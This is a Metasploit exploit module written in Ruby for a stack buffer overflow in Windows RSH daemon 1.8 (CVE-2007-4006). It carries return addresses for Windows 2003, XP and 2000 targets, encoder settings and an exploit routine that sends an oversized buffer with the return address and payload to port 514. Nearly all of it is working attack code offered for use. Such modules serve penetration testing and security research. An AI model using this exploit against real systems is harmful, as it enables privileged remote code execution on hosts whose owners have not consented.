Windows RSH Daemon Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows RSH Daemon Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability in Windows RSH daemon 1.8.
        The vulnerability is due to a failure to check for the length of input sent
        to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
        to be successful.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
            ['CVE', '2007-4006'],
            ['OSVDB', '38572'],
            ['BID', '25044'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 850,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
            [ 'Windows 2003 SP1 English',         { 'Ret' => 0x77409dbb } ],
            [ 'Windows XP Pro SP2 English',       { 'Ret' => 0x7e497c7b } ],
            [ 'Windows 2000 Pro SP4 English',     { 'Ret' => 0x77f81be3 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => '2007-07-24',
      'DefaultTarget' => 0))

    register_options([Opt::RPORT(514)])
  end

  def exploit
    connect

    sploit =  (("\x00" + rand_text_english(1)) * 2) + "\x00"
    sploit << rand_text_english(1024) + [target.ret].pack('V')
    sploit << payload.encoded

    print_status("Trying target #{target.name}...")

    sock.put(sploit)

    handler
    disconnect
  end
end